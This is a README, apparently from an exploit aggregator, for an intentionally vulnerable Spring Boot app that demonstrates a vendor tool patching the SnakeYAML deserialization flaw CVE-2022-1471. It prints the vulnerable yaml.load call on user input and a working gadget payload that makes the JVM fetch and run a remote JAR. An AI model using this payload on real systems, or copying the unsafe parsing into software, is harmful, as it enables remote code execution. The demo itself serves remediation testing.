Share
## https://sploitus.com/exploit?id=32A298E1-9149-5FC1-8BB8-03E78926D5E5
# Seal Security — Java (Maven) Example

A minimal, intentionally vulnerable Spring Boot application used to demonstrate, end‑to‑end,
how [Seal Security](https://www.sealsecurity.io/) remediates a known CVE by replacing a
vulnerable dependency with a **sealed** (backported, drop‑in) version — with **no change to
your declared coordinates or your code**.

It is designed as a front‑to‑back smoke test for the Seal CLI in CI/CD: run the app, trigger
a real exploit, run Seal, and watch the same exploit get blocked.

---

## What this example demonstrates

| | |
|---|---|
| **Ecosystem** | Java / Maven |
| **Vulnerable package** | `org.yaml:snakeyaml:1.33` |
| **CVE** | [CVE‑2022‑1471](https://nvd.nist.gov/vuln/detail/CVE-2022-1471) — SnakeYAML `Constructor` deserialization → Remote Code Execution (CVSS 9.8) |
| **Sealed (fixed) version** | `snakeyaml 1.33+sp1` from Seal's Maven registry |
| **Integration** | Seal CLI as one build step — shown for both **GitHub Actions** and **Jenkins** |

The project also declares other well‑known vulnerable dependencies (`jackson-databind 2.13.1`,
`commons-text 1.9`, `spring-core/web 5.3.26`, `json-smart 2.4.8`, `commons-lang3 3.12.0`,
`spring-boot 2.7.18`), each of which Seal also remediates to a sealed build.

---

## How the exploit works

The welcome page takes a `name`, and parses it through SnakeYAML's default constructor:

```java
Yaml yaml = new Yaml();
Object parsed = yaml.load(name);   // SnakeYAML 1.33 — CVE-2022-1471
```

SnakeYAML's default `Constructor` will instantiate **arbitrary Java types** named in the YAML.
An attacker submits a payload that builds a `ScriptEngineManager` backed by a remote
`URLClassLoader`, causing the JVM to download and execute attacker‑controlled code.

**Normal request:** enter `alice` → renders `Welcome, alice!`

**Exploit payload** (paste into the name field):

```
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
```

The JVM loads the remote JAR and runs its code — demonstrating remote code execution driven
purely by untrusted input.

---

## Repository layout

```
.
├── pom.xml                        # declares the vulnerable dependencies
├── src/main/java/…                # Spring Boot app (HelloController, DataService)
├── .seal-actions.yml              # optional local fix-mode mapping (vulnerable → sealed)
├── Jenkinsfile                    # example Jenkins (Groovy) pipeline with the Seal stage
└── .github/workflows/
    ├── build-and-run.yml          # build + expose the app for browser testing
    └── seal-security.yml          # run Seal remediation, then start the app
```

---

## Prerequisites

Seal is **SaaS, Seal‑hosted** — nothing is installed inside your environment, and all traffic
is **outbound HTTPS on TCP 443** only. To run the remediation you need:

| Secret / credential | Used for | Where it goes |
|---|---|---|
| **Seal token** | Authenticating the Seal CLI | GitHub Actions secret `SEAL_TOKEN` / Jenkins "Secret text" credential `seal-token` |
| **ngrok token** *(optional)* | Exposing the running app to a browser for testing | GitHub Actions secret `NGROK_TOKEN` |

> Configure these in **Settings → Secrets and variables → Actions** (GitHub) or
> **Manage Jenkins → Credentials** (Jenkins). Never commit tokens to the repo.

Allowlist these Seal hosts for outbound 443:
`app.sealsecurity.io`, `authorization.sealsecurity.io`, `cli.sealsecurity.io`, and — for
sealed Maven artifacts — **`maven.sealsecurity.io`**. The CLI binary is downloaded from
`github.com` / `objects.githubusercontent.com`.

---

## Run it locally

```bash
mvn clean package -DskipTests
java -jar target/java-example-1.0.0.jar     # → http://localhost:8080
```

Open `http://localhost:8080/`, enter a normal name (works), then paste the exploit payload.

---

## Remediate with Seal

The Seal CLI runs as **one extra step**, after dependencies are resolved and before packaging.
It scans the resolved dependencies and rewrites the vulnerable ones to their sealed versions,
using **remote** fix mode (policy is managed centrally in the Seal UI).

### Option A — GitHub Actions

Uses [`seal-community/cli-action`](https://github.com/seal-community/cli-action):

```yaml
- uses: seal-community/cli-action@latest
  with:
    mode: fix
    fix_mode: remote
    token: ${{ secrets.SEAL_TOKEN }}
    target: pom.xml       # the manifest for this ecosystem
```

Run it via **Actions → “Seal Security Remediation” → Run workflow**. See
[`.github/workflows/seal-security.yml`](.github/workflows/seal-security.yml).

### Option B — Jenkins (Groovy pipeline)

A single added stage, after dependency resolution and before packaging. See
[`Jenkinsfile`](Jenkinsfile):

```groovy
stage('Seal') {
  steps {
    sh '''
      curl -fsSL https://github.com/seal-community/cli/releases/download/latest/seal-linux-amd64-latest -o seal
      chmod +x seal
      ./seal fix --mode remote "$SEAL_MANIFEST"   # SEAL_MANIFEST=pom.xml
    '''
  }
}
```

`SEAL_TOKEN` comes from the `seal-token` Jenkins credential; set `SEAL_PROJECT` to your Seal
Project ID.

---

## What Seal changes

After `seal fix`, the vulnerable dependencies resolve to sealed builds from Seal's Maven
registry — same coordinates, security fix backported:

| Dependency | Before | After (sealed) |
|---|---|---|
| org.yaml:snakeyaml | 1.33 | **1.33+sp1** |
| com.fasterxml.jackson.core:jackson-databind | 2.13.1 | **2.13.1+sp1** |
| org.apache.commons:commons-text | 1.9 | **1.9+sp1** |
| org.springframework:spring-core / spring-web | 5.3.26 | **5.3.26+sp1** |
| net.minidev:json-smart | 2.4.8 | **2.4.8+sp1** |
| org.apache.commons:commons-lang3 | 3.12.0 | **3.12.0+sp1** |
| org.springframework.boot:spring-boot | 2.7.18 | **2.7.18+sp1** |

A sealed version is the *same* artifact with the security fix backported — a drop‑in
replacement, no code changes and no major‑version upgrade.

## Verify the fix

Re‑run the exploit against the remediated app. The sealed `snakeyaml` refuses to instantiate
the malicious global types, so the payload no longer loads the remote JAR — remote code
execution is blocked.

---

## How to add Seal to your own project

1. Add **one step** to your pipeline, **after** dependencies are resolved and **before**
   packaging.
2. Point `seal fix` at the specific manifest — `pom.xml` for Maven. For a multi‑module build,
   run one `seal fix` per manifest.
3. Use **remote** fix mode so your security team manages remediation policy centrally in the
   Seal UI — nothing is committed to the repo.
4. Provide the Seal token via your CI secret store (GitHub secret / Jenkins credential).

That's the whole integration — one stage, outbound‑only, no changes to application code.